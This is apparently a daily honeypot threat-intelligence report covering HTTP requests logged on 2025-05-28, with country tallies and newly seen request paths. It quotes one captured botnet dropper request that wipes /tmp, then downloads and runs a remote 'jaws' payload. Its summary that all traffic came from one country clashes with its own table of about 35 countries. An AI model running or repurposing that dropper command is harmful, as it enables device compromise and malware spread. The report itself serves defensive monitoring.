Skip to main content
  1. Daily-Posts/

Report: 2025-05-28

·295 words·
Repport Daily
Author
Shoggoth Industries
Table of Contents

Daily Report: 2025-05-28
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

executive_summary
#

In today’s repport, we detected 1 stage 1 IP address(es), linked to 1 dropper URL(s).

There are 4 new requests that have never been observed before (these were added to the monitored request database.).

A total of 851 requests were recorded during the day, originating from 1 different countries, with a peak of 241 requests coming from US.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_countrytargeted_country
KRGermany
SGGermany
USGermany
USDubai
CNGeorgia

botnet_dropper_behaviour
#

remote_addrrequest
47.101.204.123GET /shell?cd+/tmp;rm+-rf+*;wget+ 129.159.107.197/jaws;sh+/tmp/jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

number_of_occurencerequest
1191POST /cgi-bin/webra_dbfile_upload.cgi HTTP/1.1
2111GET /OdinHttpCall1748464901 HTTP/1.1
2151GET /Odin/http/call1748464901 HTTP/1.1
2161GET /odinhttpcall1748464901 HTTP/1.1

country_iso_code
#

number_of_occurencecountry_iso_code
0241US
194DE
290PL
384JP
469CN
553HK
633NL
731BG
828GB
923LT
1018FR
1114CA
1212IN
136VE
145SC
155ZA
164VN
174BE
184CH
194KR
203GH
213PT
223ID
232TR
242SG
252RU
262IR
272UA
282TH
292ES
301AR
311MX
321IT
331AO
341IE
351AL

Related

Report: 2025-05-27
·487 words
Repport Daily
Report: 2025-05-26
·354 words
Repport Daily
Report: 2025-05-25
·2459 words
Repport Daily